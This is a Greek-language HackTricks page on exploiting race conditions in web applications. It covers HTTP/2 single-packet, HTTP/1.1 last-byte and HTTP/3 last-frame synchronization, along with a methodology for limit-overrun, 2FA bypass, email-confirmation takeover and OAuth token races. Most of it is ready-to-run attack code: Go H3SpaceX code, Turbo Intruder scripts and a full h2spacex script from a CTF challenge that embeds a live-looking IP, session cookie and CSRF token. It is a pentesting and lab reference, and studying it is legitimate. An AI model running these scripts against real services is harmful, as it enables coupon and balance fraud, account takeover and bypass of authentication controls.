Race Condition

Reading time: 18 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

warning

Για να αποκτήσετε βαθύτερη κατανόηση αυτής της τεχνικής, ελέγξτε την αρχική αναφορά στο https://portswigger.net/research/smashing-the-state-machine

Ενίσχυση επιθέσεων Race Condition

Το κύριο εμπόδιο στο να εκμεταλλευτείς race conditions είναι να διασφαλίσεις ότι πολλαπλά requests επεξεργάζονται ταυτόχρονα, με πολύ μικρή διαφορά στους χρόνους επεξεργασίας τους—ιδανικά, μικρότερη από 1ms.

Εδώ θα βρείτε μερικές τεχνικές για τον συγχρονισμό των requests:

HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization

  • HTTP/2: Υποστηρίζει την αποστολή δύο requests πάνω σε μία TCP σύνδεση, μειώνοντας την επίδραση του network jitter. Ωστόσο, λόγω διαφορών στην πλευρά του server, δύο requests μπορεί να μην επαρκούν για ένα συνεπές race condition exploit.
  • HTTP/1.1 'Last-Byte Sync': Επιτρέπει την προ-αποστολή των περισσότερων τμημάτων από 20–30 requests, κρατώντας ένα μικρό κομμάτι, το οποίο αποστέλλεται μαζί, επιτυγχάνοντας ταυτόχρονη άφιξη στον server.

Η προετοιμασία για Last-Byte Sync περιλαμβάνει:

  1. Αποστολή headers και body δεδομένων με εξαίρεση το τελευταίο byte, χωρίς να τερματιστεί το stream.
  2. Παύση για 100ms μετά την αρχική αποστολή.
  3. Απενεργοποίηση του TCP_NODELAY για να χρησιμοποιηθεί ο Nagle's algorithm για ομαδοποίηση των τελικών frames.
  4. Pinging για προθέρμανση της σύνδεσης.

Η επακόλουθη αποστολή των κρατημένων frames θα πρέπει να έχει ως αποτέλεσμα την άφιξή τους σε ένα ενιαίο packet, κάτι που μπορεί να επαληθευτεί με Wireshark. Αυτή η μέθοδος δεν εφαρμόζεται σε static files, τα οποία συνήθως δεν εμπλέκονται σε RC attacks.

HTTP/3 Last‑Frame Synchronization (QUIC)

  • Concept: Το HTTP/3 τρέχει πάνω από το QUIC (UDP). Δεν υπάρχει TCP coalescing ή Nagle για να στηριχτείς, οπότε το κλασικό last‑byte sync δεν δουλεύει με off‑the‑shelf clients. Αντίθετα, πρέπει σκόπιμα να συγχωνεύσεις πολλαπλά QUIC stream‑final DATA frames (FIN) στο ίδιο UDP datagram ώστε ο server να επεξεργαστεί όλα τα target requests στο ίδιο scheduling tick.
  • How to do it: Χρησιμοποίησε μια βιβλιοθήκη σχεδιασμένη γι' αυτό που δίνει έλεγχο στα QUIC frames. Για παράδειγμα, το H3SpaceX χειρίζεται το quic-go για να υλοποιήσει HTTP/3 last‑frame synchronization τόσο για requests με body όσο και για GET‑style requests χωρίς body.
  • Requests‑with‑body: στείλε HEADERS + DATA χωρίς το τελευταίο byte για N streams, και μετά flush το τελικό byte κάθε stream μαζί.
  • GET‑style: κατασκεύασε ψεύτικα DATA frames (ή ένα μικρό body με Content‑Length) και τερμάτισε όλα τα streams σε ένα datagram.
  • Practical limits:
  • Η concurrency περιορίζεται από το transport parameter QUIC max_streams του peer (παρόμοιο με το HTTP/2’s SETTINGS_MAX_CONCURRENT_STREAMS). Αν είναι χαμηλό, άνοιξε πολλαπλές H3 connections και διαμοίρασε το race ανάμεσά τους.
  • Το μέγεθος UDP datagram και το path MTU περιορίζουν πόσα stream‑final frames μπορείς να συγχωνεύσεις. Η βιβλιοθήκη χειρίζεται το split σε πολλαπλά datagrams αν χρειαστεί, αλλά ένα single‑datagram flush είναι το πιο αξιόπιστο.
  • Practice: Υπάρχουν δημόσια H2/H3 race labs και δείγματα exploits που συνοδεύουν το H3SpaceX.
HTTP/3 last‑frame sync (Go + H3SpaceX) minimal example
go
package main
import (
"crypto/tls"
"context"
"time"
"github.com/nxenon/h3spacex"
h3 "github.com/nxenon/h3spacex/http3"
)
func main(){
tlsConf := &tls.Config{InsecureSkipVerify:true, NextProtos:[]string{h3.NextProtoH3}}
quicConf := &quic.Config{MaxIdleTimeout:10*time.Second, KeepAlivePeriod:10*time.Millisecond}
conn, _ := quic.DialAddr(context.Background(), "IP:PORT", tlsConf, quicConf)
var reqs []*http.Request
for i:=0;i<50;i++{ r,_ := h3.GetRequestObject("https://target/apply", "POST", map[string]string{"Cookie":"sess=...","Content-Type":"application/json"}, []byte(`{"coupon":"SAVE"}`)); reqs = append(reqs,&r) }
// keep last byte (1), sleep 150ms, set Content-Length
h3.SendRequestsWithLastFrameSynchronizationMethod(conn, reqs, 1, 150, true)
}

Προσαρμογή στην αρχιτεκτονική του server

Η κατανόηση της αρχιτεκτονικής του στόχου είναι κρίσιμη. Οι front-end servers μπορεί να δρομολογούν τα requests διαφορετικά, επηρεάζοντας το timing. Η προληπτική server-side connection warming, μέσω ασήμαντων αιτημάτων, μπορεί να εξομαλύνει το request timing.

Αντιμετώπιση Session-Based Locking

Πλαίσια όπως το PHP's session handler σειριοποιούν τα requests ανά session, ενδεχομένως θολώνοντας τις ευπάθειες. Η χρήση διαφορετικών session tokens για κάθε request μπορεί να παρακάμψει αυτό το ζήτημα.

Παράκαμψη Rate ή Resource Limits

Εάν το connection warming δεν αποδειχτεί αποτελεσματικό, η πρόκληση rate ή resource limit delays στους web servers με μια πλημμύρα dummy requests μπορεί να διευκολύνει το single-packet attack, προκαλώντας ένα server-side delay ευνοϊκό για race conditions.

Παραδείγματα Επιθέσεων

  • Turbo Intruder - HTTP2 single-packet attack (1 endpoint): Μπορείτε να στείλετε το request στο Turbo intruder (Extensions -> Turbo Intruder -> Send to Turbo Intruder), να αλλάξετε μέσα στο request την τιμή που θέλετε να brute force για %s όπως στο csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s και στη συνέχεια να επιλέξετε το examples/race-single-packer-attack.py από το drop down:

If you are going to send different values, you could modify the code with this one that uses a wordlist from the clipboard:

python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

warning

Αν ο ιστότοπος δεν υποστηρίζει HTTP2 (μόνο HTTP1.1) χρησιμοποιήστε Engine.THREADED ή Engine.BURP αντί για Engine.BURP2.

  • Turbo Intruder - HTTP2 single-packet attack (Several endpoints): Σε περίπτωση που χρειάζεται να στείλετε ένα request σε 1 endpoint και στη συνέχεια πολλαπλά σε άλλα endpoints για να ενεργοποιήσετε το RCE, μπορείτε να αλλάξετε το race-single-packet-attack.py script με κάτι σαν:
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Είναι επίσης διαθέσιμο στο Repeater μέσω της νέας επιλογής 'Send group in parallel' στο Burp Suite.
  • Για limit-overrun μπορείς απλά να προσθέσεις το ίδιο request 50 φορές στην ομάδα.
  • Για connection warming, μπορείς να προσθέσεις στην αρχή της ομάδας μερικά requests προς κάποιο μη στατικό μέρος του web server.
  • Για delaying της διαδικασίας ανάμεσα στην επεξεργασία ενός request και ενός άλλου σε 2 substates βήματα, μπορείς να προσθέσεις επιπλέον requests ανάμεσα στα δύο requests.
  • Για ένα multi-endpoint RC μπορείς να αρχίσεις να στέλνεις το request που πηγαίνει στην hidden state και μετά 50 requests αμέσως μετά που εκμεταλλεύονται την hidden state.
  • Automated python script: Ο στόχος αυτού του script είναι να αλλάξει το email ενός χρήστη ενώ το επαληθεύει συνεχώς μέχρι να φτάσει το verification token του νέου email στο τελευταίο email (αυτό συμβαίνει γιατί στον κώδικα υπήρχε ένα RC όπου ήταν δυνατόν να τροποποιήσεις ένα email αλλά η verification να αποστέλλεται στο παλιό επειδή η μεταβλητή που υποδεικνύει το email είχε ήδη συμπληρωθεί με το πρώτο).
    Όταν η λέξη "objetivo" βρεθεί στα ληφθέντα emails ξέρουμε ότι λάβαμε το verification token του αλλαγμένου email και τερματίζουμε το attack.
python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: "+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: "+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Turbo Intruder: Σημειώσεις για engine και gating

  • Engine selection: use Engine.BURP2 on HTTP/2 targets to trigger the single‑packet attack; fall back to Engine.THREADED or Engine.BURP for HTTP/1.1 last‑byte sync.
  • gate/openGate: τοποθέτησε στην ουρά πολλές αντιγραφές με gate='race1' (ή per‑attempt gates), που κρατάει το tail κάθε request· openGate('race1') απελευθερώνει όλα τα tails μαζί ώστε να φτάσουν σχεδόν ταυτόχρονα.
  • Diagnostics: αρνητικά timestamps στο Turbo Intruder υποδεικνύουν ότι ο server απάντησε πριν το request σταλεί πλήρως, αποδεικνύοντας overlap. Αυτό είναι αναμενόμενο σε πραγματικά races.
  • Connection warming: στείλε πρώτα ένα ping ή λίγα harmless requests για να σταθεροποιήσεις τα timings· προαιρετικά απενεργοποίησε TCP_NODELAY για να ενθαρρύνεις το batching των τελικών frames.

Improving Single Packet Attack

Στην αρχική έρευνα εξηγείται ότι αυτή η επίθεση έχει όριο 1,500 bytes. Ωστόσο, στο this post, εξηγήθηκε πώς είναι δυνατόν να επεκτείνεις τον περιορισμό των 1,500 bytes της single packet attack στο όριο παραθύρου των 65,535 B του TCP χρησιμοποιώντας IP layer fragmentation (διαχωρισμός ενός πακέτου σε πολλαπλά IP πακέτα) και αποστέλλοντάς τα σε διαφορετική σειρά, επιτρέποντας να αποτραπεί η επανασύνθεση του πακέτου μέχρι όλα τα fragments να φτάσουν στον server. Αυτή η τεχνική επέτρεψε στον ερευνητή να στείλει 10,000 requests σε περίπου 166ms.

Σημείωσε ότι παρόλο που αυτή η βελτίωση κάνει την επίθεση πιο αξιόπιστη σε RC που απαιτούν εκατοντάδες/χιλιάδες πακέτα να φτάσουν ταυτόχρονα, μπορεί επίσης να έχει κάποιους περιορισμούς σε επίπεδο λογισμικού. Μερικοί δημοφιλείς HTTP servers όπως οι Apache, Nginx και Go έχουν αυστηρό SETTINGS_MAX_CONCURRENT_STREAMS ρυθμό σε 100, 128 και 250. Ωστόσο, άλλοι όπως NodeJS και nghttp2 το έχουν απεριόριστο.
Αυτό ουσιαστικά σημαίνει ότι ο Apache θα θεωρήσει μόνο 100 HTTP connections από ένα μόνο TCP connection (περιορίζοντας αυτή την RC επίθεση). Για HTTP/3, το αντίστοιχο όριο είναι το transport parameter max_streams του QUIC — αν είναι μικρό, διάχυσε το race σου σε πολλαπλές QUIC συνδέσεις.

Μπορείς να βρεις κάποια παραδείγματα που χρησιμοποιούν αυτή την τεχνική στο repo https://github.com/Ry0taK/first-sequence-sync/tree/main.

Raw BF

Πριν την προηγούμενη έρευνα, αυτά ήταν μερικά payloads που απλώς προσπαθούσαν να στείλουν τα πακέτα όσο το δυνατόν γρηγορότερα για να προκαλέσουν ένα RC.

  • Repeater: Δες τα παραδείγματα από την προηγούμενη ενότητα.
  • Intruder: Στείλε το request στο Intruder, όρισε τον number of threads σε 30 μέσα στο Options menu and, επίλεξε ως payload Null payloads και δημιούργησε 30.
  • Turbo Intruder
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
python
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Methodology

Limit-overrun / TOCTOU

Αυτός είναι ο πιο βασικός τύπος race condition όπου υπάρχουν ευπάθειες που εμφανίζονται σε σημεία που περιορίζουν τον αριθμό των φορών που μπορείς να εκτελέσεις μια ενέργεια. Όπως το να χρησιμοποιήσεις τον ίδιο κωδικό έκπτωσης σε ένα ηλεκτρονικό κατάστημα πολλές φορές. Ένα πολύ απλό παράδειγμα μπορεί να βρεθεί σε this report ή σε this bug.

Υπάρχουν πολλές παραλλαγές αυτού του είδους επίθεσης, συμπεριλαμβανομένων:

  • Εξαργύρωση μιας gift card πολλές φορές
  • Βαθμολόγηση ενός προϊόντος πολλές φορές
  • Ανάληψη ή μεταφορά μετρητών πάνω από το υπόλοιπο του λογαριασμού
  • Επαναχρησιμοποίηση της ίδιας λύσης CAPTCHA
  • Παράκαμψη ενός anti-brute-force rate limit

Κρυφές υποκαταστάσεις

Η εκμετάλλευση σύνθετων race conditions συχνά περιλαμβάνει την αξιοποίηση σύντομων ευκαιριών για αλληλεπίδραση με κρυφές ή μη προγραμματισμένες υποκαταστάσεις μηχανής. Να πώς να το προσεγγίσεις:

  1. Εντοπισμός πιθανών κρυφών υποκαταστάσεων
  • Ξεκίνα εντοπίζοντας endpoints που τροποποιούν ή αλληλεπιδρούν με κρίσιμα δεδομένα, όπως user profiles ή διαδικασίες password reset. Εστίασε σε:
  • Storage: Προτίμησε endpoints που χειρίζονται server-side persistent data αντί για αυτά που διαχειρίζονται δεδομένα client-side.
  • Action: Ψάξε για λειτουργίες που αλλάζουν υπάρχοντα δεδομένα, οι οποίες είναι πιο πιθανό να δημιουργήσουν εκμεταλλεύσιμες συνθήκες σε σύγκριση με λειτουργίες που προσθέτουν νέα δεδομένα.
  • Keying: Επιτυχημένες επιθέσεις συνήθως περιλαμβάνουν λειτουργίες που έχουν keying στο ίδιο identifier, π.χ. username ή reset token.
  1. Πρώιμη διερεύνηση
  • Δοκίμασε τα εντοπισμένα endpoints με επιθέσεις race condition, παρατηρώντας για οποιεσδήποτε αποκλίσεις από τα αναμενόμενα αποτελέσματα. Απρόσμενες απαντήσεις ή αλλαγές στη συμπεριφορά της εφαρμογής μπορεί να υποδηλώνουν ευπάθεια.
  1. Επίδειξη της ευπάθειας
  • Στενέψε την επίθεση στον ελάχιστο αριθμό requests που χρειάζονται για να εκμεταλλευτείς την ευπάθεια, συχνά μόλις δύο. Αυτό το βήμα μπορεί να απαιτήσει πολλαπλές προσπάθειες ή αυτοματοποίηση λόγω της ακριβούς χρονιστικής ακρίβειας που εμπλέκεται.

Time Sensitive Attacks

Η ακρίβεια στον χρονισμό των requests μπορεί να αποκαλύψει ευπάθειες, ειδικά όταν χρησιμοποιούνται προβλέψιμοι μέθοδοι όπως timestamps για security tokens. Για παράδειγμα, η δημιουργία password reset tokens βασισμένων σε timestamps θα μπορούσε να επιτρέψει ταυτόσημα tokens για ταυτόχρονες αιτήσεις.

Για να εκμεταλλευτείς:

  • Χρησιμοποίησε ακριβή χρονισμό, όπως ένα single packet attack, για να κάνεις concurrent password reset requests. Ταυτόσημα tokens υποδεικνύουν ευπάθεια.

Παράδειγμα:

  • Ζήτα δύο password reset tokens ταυτόχρονα και σύγκρινέ τα. Αν τα tokens ταιριάζουν, αυτό υποδηλώνει σφάλμα στην παραγωγή token.

Check this PortSwigger Lab to try this.

Hidden substates case studies

Pay & add an Item

Check this PortSwigger Lab to see how to pay in a store and add an extra item you that won't need to pay for it.

Confirm other emails

Η ιδέα είναι να επαληθεύσεις μια διεύθυνση email και να την αλλάξεις ταυτόχρονα για να διαπιστώσεις αν η πλατφόρμα επαληθεύει τη νέα διεύθυνση μετά την αλλαγή.

Σύμφωνα με this research η Gitlab ήταν ευάλωτη σε takeover με αυτόν τον τρόπο επειδή μπορεί να στέλνει το email verification token ενός email σε άλλο email.

Check this PortSwigger Lab to try this.

Hidden Database states / Confirmation Bypass

Αν χρησιμοποιούνται 2 διαφορετικά writes για να προσθέσουν πληροφορίες μέσα σε μια database, υπάρχει ένα μικρό χρονικό διάστημα όπου μόνο τα πρώτα δεδομένα έχουν γραφτεί στη βάση. Για παράδειγμα, όταν δημιουργείται ένας χρήστης το username και το password μπορεί να γραφτούν και έπειτα το token για την επιβεβαίωση του νέου λογαριασμού να γραφτεί. Αυτό σημαίνει ότι για ένα μικρό διάστημα το token για την επιβεβαίωση ενός λογαριασμού είναι null.

Επομένως, registering an account and sending several requests with an empty token (token= or token[]= or any other variation) για να επιβεβαιώσεις τον λογαριασμό αμέσως θα μπορούσε να επιτρέψει να confirm an account όπου δεν ελέγχεις το email.

Check this PortSwigger Lab to try this.

Bypass 2FA

The following pseudo-code is vulnerable to race condition because in a very small time the 2FA is not enforced while the session is created:

python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 αιώνια διατήρηση

There are several OAUth providers. Αυτές οι υπηρεσίες θα σας επιτρέψουν να δημιουργήσετε μια εφαρμογή και να αυθεντικοποιήσετε χρήστες που έχει καταχωρήσει ο OAUth provider. Για να το κάνετε αυτό, ο client θα χρειαστεί να permit your application ώστε να έχει πρόσβαση σε ορισμένα από τα δεδομένα τους μέσα στον OAUth provider.
Άρα, μέχρι εδώ απλώς ένα κοινό login με google/linkedin/github... όπου σας εμφανίζεται μια σελίδα που λέει: "Application wants to access you information, do you want to allow it?"

Race Condition in authorization_code

Το πρόβλημα εμφανίζεται όταν το αποδεχτείτε και αυτόματα στέλνει έναν authorization_code στην κακόβουλη εφαρμογή. Στη συνέχεια, αυτή η εφαρμογή καταχράται ένα Race Condition στον OAUth service provider για να δημιουργήσει περισσότερα από ένα AT/RT (Authentication Token/Refresh Token) από τον authorization_code για τον λογαριασμό σας. Βασικά, θα εκμεταλλευτεί το γεγονός ότι αποδεχθήκατε την εφαρμογή να έχει πρόσβαση στα δεδομένα σας για να δημιουργήσει πολλούς λογαριασμούς. Έπειτα, αν σταματήσετε να επιτρέπετε στην εφαρμογή την πρόσβαση στα δεδομένα σας ένα ζεύγος AT/RT θα διαγραφεί, αλλά τα υπόλοιπα θα παραμείνουν έγκυρα.

Race Condition in Refresh Token

Μόλις έχετε αποκτήσει ένα έγκυρο RT μπορείτε να προσπαθήσετε να το καταχραστείτε για να δημιουργήσετε πολλαπλά AT/RT και ακόμα κι αν ο χρήστης ακυρώσει τα δικαιώματα για την κακόβουλη εφαρμογή να έχει πρόσβαση στα δεδομένα του, πολλοί RT θα παραμείνουν έγκυροι.

RC in WebSockets

  • In WS_RaceCondition_PoC θα βρείτε ένα PoC σε Java για να στείλετε websocket μηνύματα παράλληλα και να εκμεταλλευτείτε Race Conditions επίσης σε Web Sockets.
  • Με το WebSocket Turbo Intruder του Burp μπορείτε να χρησιμοποιήσετε το engine THREADED για να δημιουργήσετε πολλαπλές WS συνδέσεις και να εκτοξεύσετε payloads παράλληλα. Ξεκινήστε από το επίσημο παράδειγμα και προσαρμόστε το config() (thread count) για concurrency· αυτό είναι συχνά πιο αξιόπιστο από το batching σε μία μόνο σύνδεση όταν ανταγωνίζεστε το server‑side state μεταξύ WS handlers. Δείτε RaceConditionExample.py.

References

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks